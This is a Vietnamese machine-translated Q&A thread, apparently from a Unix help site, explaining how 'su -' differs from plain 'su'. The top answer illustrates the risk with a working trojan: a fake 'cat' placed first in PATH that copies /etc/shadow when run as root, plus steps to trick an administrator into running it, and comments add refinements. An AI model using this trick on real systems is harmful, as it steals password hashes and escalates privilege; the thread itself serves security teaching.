Tại sao chúng ta sử dụng su - và không chỉ su?


Câu trả lời:


241

su -gọi shell đăng nhập sau khi chuyển đổi người dùng. Một vỏ đăng nhập đặt lại hầu hết các biến môi trường, cung cấp một cơ sở sạch.

su chỉ cần chuyển đổi người dùng, cung cấp một vỏ bình thường với môi trường gần giống như với người dùng cũ.

Hãy tưởng tượng, bạn là nhà phát triển phần mềm có quyền truy cập bình thường của người dùng vào máy và quản trị viên không biết gì của bạn sẽ không cấp cho bạn quyền truy cập root. Hãy (hy vọng) lừa anh ta.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Bây giờ, bạn hỏi quản trị viên của bạn tại sao bạn không thể cattập tin giả trong thư mục nhà của bạn, nó sẽ không hoạt động!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Nếu quản trị viên của bạn không thông minh hoặc chỉ hơi lười biếng, anh ta có thể đến bàn của bạn và thử với quyền hạn siêu người dùng của mình:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Ồ Cảm ơn, siêu quản trị viên!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Anh, anh.

Bạn có thể nhận thấy rằng $PATHbiến bị hỏng không được đặt lại. Điều này sẽ không xảy ra, nếu quản trị viên gọi su -thay thế.


10
su --cũng giống như su.
Mikel

12
- là một cờ mà hầu hết các chương trình diễn giải là "không có gì sau này nên được coi là một cờ". Hữu ích cho việc greping cho những thứ bắt đầu với một dấu gạch ngang.
David Mackffy

2
Đừng quên đặt umask000 như thế hoặc nó sẽ không hoạt động.
Lekensteyn

10
Người ta cũng có thể chỉ cần đặt một sutập tin bên trong PATH. Không quá khó để bắt chước hành vi của người thật su. Siêu người dùng dù sao cũng đã bất cẩn :-)
Stéphane Gimenez

10
su --KHÔNG giống như su -: --yêu cầu trình xử lý tùy chọn getopt (hoặc tương tự) dừng xử lý dòng lệnh cho các tùy chọn khác (ví dụ hữu ích nếu phần còn lại chứa tên tệp có thể bắt đầu bằng '-'). Ví dụ, trong "rm -i - -f": sau đó -f được coi là một cuộc tranh luận thường xuyên, vì vậy đây là tên của tập tin để rm -i, và không như một thêm vào một số -ftùy chọn vào rmlệnh. Như vậy su --là chính đáng suvà không su -! Vì vậy, su --sẽ không an toàn với ví dụ (hài hước và mang tính hướng dẫn) bởi wag. Sử dụng su -.
Olivier Dulac

35

su -đăng nhập bạn hoàn toàn dưới quyền root, trong khi đó sulàm cho nó để bạn giả vờ là root.

Ví dụ rõ ràng nhất về điều này là thư mục ~gốc của root nếu bạn sử dụng su -, nhưng thư mục chính của bạn nếu bạn sử dụng su.

Tùy thuộc vào hệ thống của bạn, nó cũng có thể có nghĩa là sự khác biệt trong dấu nhắc PATHhoặc tệp lịch sử.

Vì vậy, nếu bạn là thành viên của một nhóm quản trị một hệ thống và đồng nghiệp của bạn cho bạn một lệnh để chạy, bạn sẽ biết nó sẽ hoạt động như nhau nếu cả hai bạn đang sử dụng su -, nhưng nếu cả hai bạn đang sử dụng su, có thể có sự khác biệt do bạn có cấu hình vỏ khác nhau.

Mặt khác, nếu bạn muốn chạy một lệnh với quyền root nhưng sử dụng cấu hình của riêng bạn, thì có lẽ sutốt hơn cho bạn.

Cũng đừng quên sudo, trong đó có một -stùy chọn để bắt đầu một shell chạy như root. Tất nhiên, điều này cũng có các quy tắc khác nhau và chúng thay đổi tùy thuộc vào phân phối bạn đang sử dụng.


1
khi tôi "su" tôi nhận được ~ và $ HOME cả hai đánh giá đến / root. Là hành vi bạn mô tả cụ thể cho các phiên bản hệ vỏ hoặc hệ điều hành nhất định hoặc một cái gì đó? Theo hiểu biết của tôi rằng ~ có thể được mở rộng bởi kernel. Tôi đã có zsh là vỏ của tôi (và gốc).
JasonWoust

.bashrcHoặc /etc/bashrchoặc /etc/profile.dtập lệnh của bạn đang được thiết lập PATH. Hãy tìm if [ $UID -eq 0 ]hoặc một cái gì đó như thế.
Mikel

$USERví dụ là không thay đổi.
peterph

1
Thế còn sudo su?
Simon Kuang

1
Ví dụ của bạn không làm việc cho tôi. Tôi nhận được cùng một thư mục giải quyết theo một trong hai cách.
Daniel W.

1

Tôi sử dụng su - khi tôi ở trong một thư mục như một người dùng thông thường nhưng muốn chuyển sang root và vẫn ở trong cùng thư mục sau khi chuyển đổi. Khi bạn sử dụng su - nó sẽ chuyển người dùng sang root và cũng đưa bạn đến / root là thư mục gốc.


Hoặc /hoặc bất cứ điều gì được định nghĩa là thư mục chính của root
Jeff Schaller

-1

Sự khác biệt chính là:

su - username thiết lập môi trường shell như thể nó là một đăng nhập sạch như người dùng được chỉ định, nó truy cập và sử dụng các biến môi trường người dùng được chỉ định,

su username chỉ bắt đầu một trình bao với các cài đặt môi trường hiện tại cho người dùng được chỉ định.

Nếu tên người dùng không được chỉ định với susu -, tài khoản root được ngụ ý mặc định.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.